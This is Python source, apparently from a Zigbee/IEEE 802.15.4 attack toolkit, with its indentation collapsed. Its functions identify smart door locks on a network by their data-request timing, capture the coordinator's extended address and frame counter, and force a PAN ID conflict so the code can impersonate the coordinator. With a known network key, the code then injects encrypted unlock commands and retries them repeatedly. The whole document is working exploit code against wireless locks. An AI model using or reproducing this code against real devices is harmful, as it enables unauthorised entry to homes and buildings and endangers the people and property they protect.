def wait_for_extended_address(radio, panid, addr): print_info("Waiting to observe the extended source for pan_id:0x%04x, src_addr:0x%04x" % (panid, addr)) timer = Timer(OBSERVATION_TIME) while not timer.has_expired(): frame = radio.receive() if panid==get_pan_id(frame) and addr==get_source(frame): extended_source = get_extended_source(frame) if extended_source is not None: print_notify("Extended source observed: 0x%016x" % extended_source) return extended_source print_error("Could not find extended source") return None
def find_locks(radio, panid=None): result = [] trackers = dict() last_sequence_number = dict() if panid is not None: print_notify("Looking at PAN ID 0x%04x for lights" % panid) else: print_notify("Looking for lights on the current channel") print_info("Monitoring the network for an extended period") timer = Timer(17) traffic_counter = 0 while not timer.has_expired(): frame = radio.receive() if frame is not None and not is_beacon_request(frame): traffic_counter += 1 if is_data_request(frame) and (panid is None or get_pan_id(frame) == panid): pan = get_pan_id(frame) source = get_source(frame) if not pan in trackers.keys(): trackers[pan] = dict() last_sequence_number[pan] = dict() if not source in trackers[pan].keys(): trackers[pan][source] = TrackWatch() last_sequence_number[pan][source] = -1 if last_sequence_number[pan][source] != frame[Dot15d4FCS].seqnum: trackers[pan][source].click() last_sequence_number[pan][source] = frame[Dot15d4FCS].seqnum if timer.time_passed() > 5 and traffic_counter == 0: print_info("No traffic observed for 5 seconds, giving up") break for pan in trackers: for addr in trackers[pan]: watch = trackers[pan][addr] if watch.variance() is not None and watch.variance( ) < THRESHOLD_VARIANCE and watch.mean() > MIN_FREQUENCY: result.append((pan, addr)) print_notify("Device 0x%04x on PAN 0x%04x resembles a lock" % (addr, pan)) print_debug( "Device 0x%04x on PAN 0x%04x had variance of %f and mean of %f" % (addr, pan, watch.variance(), watch.mean())) return result
def unlock_lock(radio, panid, addr, network_key, coord_addr=None, coord_extended_addr=None, frame_counter=None): if coord_addr is None: coord_addr = find_coord_addr_by_panid(radio, panid) if coord_extended_addr is None: coord_extended_addr, frame_counter = wait_for_extended_address_also_frame_counter( radio, panid, coord_addr) if frame_counter is None: frame_counter = wait_for_frame_counter(radio, panid, coord_addr) if coord_addr is None or coord_extended_addr is None or frame_counter is None: print_error( "Could not find the required data to send the unlock request") frame_counter_iter = SequenceIterator(frame_counter + 1, 0xffffffff) sequence_number = random.randint(0, 255) nwk_sequence_number = random.randint(0, 255) aps_counter = random.randint(0, 255) zcl_sequence_number = random.randint(0, 255) print_info("Attempting to unlock lock") timer = Timer(OBSERVATION_TIME) conflict_succeeded = False for attempt in range(3): # it is going to be more reliable if we sync the conflict with the device's data request to avoid having it see the network change packet while not timer.has_expired(): frame = radio.receive() if is_data_request(frame) and get_source(frame) == addr: if pan_conflict_by_panid(radio, panid, network_key=network_key, coord_ext_addr=coord_extended_addr): conflict_succeeded = True break if conflict_succeeded: break timer.reset() if conflict_succeeded: print_info("Waiting 4 seconds for the conflict to resolve") timer = Timer(4) while not timer.has_expired(): frame = radio.receive_and_ack(panid=panid, addr=coord_addr) radio.load_frame( encrypted_unlock(panid, coord_addr, addr, coord_extended_addr, network_key, frame_counter=frame_counter_iter.next(), seq_num=sequence_number, nwk_seq_num=nwk_sequence_number, aps_counter=aps_counter, zcl_seq_num=zcl_sequence_number)) data_request_counter = 0 timer = Timer(1) while not timer.has_expired(): frame = radio.receive_and_ack(panid=panid, addr=coord_addr) print_info("Waiting for the lock to send a couple data requests") unlock_sent = False timer = Timer(OBSERVATION_TIME) while not timer.has_expired(): frame = radio.receive_and_ack(panid=panid, addr=coord_addr) if is_data_request(frame): data_request_counter += 1 if data_request_counter == 2: print_notify("Sending unlock command") radio.fire_and_retry() unlock_sent = True break return unlock_sent else: print_info( "We're going to send a bunch of unlock requests and hope one goes through" ) for attempts in range(20): radio.load_frame( encrypted_unlock(panid, coord_addr, addr, coord_extended_addr, network_key, frame_counter=frame_counter_iter.next(), seq_num=sequence_number, nwk_seq_num=nwk_sequence_number, aps_counter=aps_counter, zcl_seq_num=zcl_sequence_number)) timer = Timer(OBSERVATION_TIME) while not timer.has_expired(): frame = radio.receive_and_ack(panid=panid, addr=coord_addr) if is_data_request(frame): print_notify("Sending unlock command") radio.fire_and_retry() break return True